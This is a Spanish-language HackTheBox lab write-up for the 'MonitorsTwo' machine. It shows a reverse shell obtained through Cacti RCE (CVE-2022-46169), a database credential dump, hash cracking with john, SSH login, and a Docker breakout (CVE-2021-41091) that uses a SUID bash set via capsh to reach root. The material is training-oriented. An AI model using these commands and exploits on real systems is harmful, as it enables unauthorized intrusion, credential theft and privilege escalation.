HackTheBox - MonitorsTwo
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: RCE (CVE-2022-46169), Docker Breakout (CVE-2021-41091)
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos en la Máquina MonitorsTwo
b. Vemos las versiones de los servicios que se están ejecutando en los puertos.
c. Vemos el servicio web de la página web
Si buscamos por alguna vulnerabilidad del servicio cacti 1.2.22 nos encontramos con CVE-2022-46169
Nos ponemos en escucha con nc, y ejecutamos el script
1 2 3 4
root@kali> python exploit.py -u http://10.10.11.211/ --LHOST=10.10.14.174 --LPORT=443 -------------------------------------------------------------------------------------- root@kali> nc -lvnp 443 www-data@50bca5e748b0:/var/www/html$
Escalada de Privilegios 💹
a. Estamos en un contenedor
1
2
www-data@50bca5e748b0:/var/www/html$ hostname -I
172.19.0.3
Vemos el fichero entrypoint.sh en la raíz del sistema
1 2 3 4
www-data@50bca5e748b0:/$ cat entrypoint.sh mysql --host=db --user=root --password=root cacti <SNIP>
Con la cadena conexión de mysql nos conectamos a este servicio y lo inspeccionamos
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
www-data@50bca5e748b0:/$ mysql --host=db --user=root --password=root MySQL [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | cacti <--- | | mysql | | performance_schema | | sys | +--------------------+ 5 rows in set (0.002 sec) MySQL [(none)]> use cacti; MySQL [(none)]> show tables; <SNIP> | user_auth | <SNIP> MySQL [cacti]> select username, password from user_auth; +----------+--------------------------------------------------------------+ | username | password | +----------+--------------------------------------------------------------+ | admin | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC | | guest | 43e9a4ab75570f5b | | marcus | $2y$10$vcrYth5Y[SNIP] | +----------+--------------------------------------------------------------+
b. Crackeamos los hashes de admin y marcus con john
1
2
root@kali> john hashes.txt -w=/usr/share/wordlists/rockyou.txt
<Hash marcus>:f[SNIP]y
c. Estas credenciales nos sirven para autenticarnos en el servicio SSH
1
2
root@kali> ssh marcus@10.10.11.211
marcus@monitorstwo:~$
Después de inspeccionar todo el sistema en busca de formas de escalar privilegios nos encontramos con este mensaje
1 2 3 4 5 6 7 8
marcus@monitorstwo:~$ cat /var/mail/marcus From: administrator@monitorstwo.htb To: all@monitorstwo.htb CVE-2021-33033: This vulnerability <SNIP> CVE-2020-25706: This cross-site scripting <SNIP> CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization.<SNIP>
La vulnerabilidad que más nos llama la atención es
CVE-2021-41091
ya que implica el uso de Docker. Al buscar un exploit con ese CVE con encontramos con esto, para que este script funcione debemos darle permiso SUID a la bash de un contenedor
d. Buscaremos formas de escalar privilegios en el contenedor
1
2
3
www-data@50bca5e748b0:/var/www/html$ find / -perm -4000 2>/dev/null
<SNIP>
/sbin/capsh
En gtfobins encontramos una forma, y le daremos permiso SUID a la bash
1 2
www-data@50bca5e748b0:/var/www/html$ capsh --gid=0 --uid=0 -- root@50bca5e748b0:/var/www/html# chmod +s /bin/bash
e. Por último ejecutamos el script y conseguiremos acceso como root
1
2
3
4
5
6
7
8
9
10
marcus@monitorstwo:/tmp$ ./exploit.sh
Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes
[>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[?] If it didnt spawn a shell go to this path and execute './bin/bash -p'
marcus@monitorstwo:/tmp$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bin/bash -p
bash-5.1# whoami
root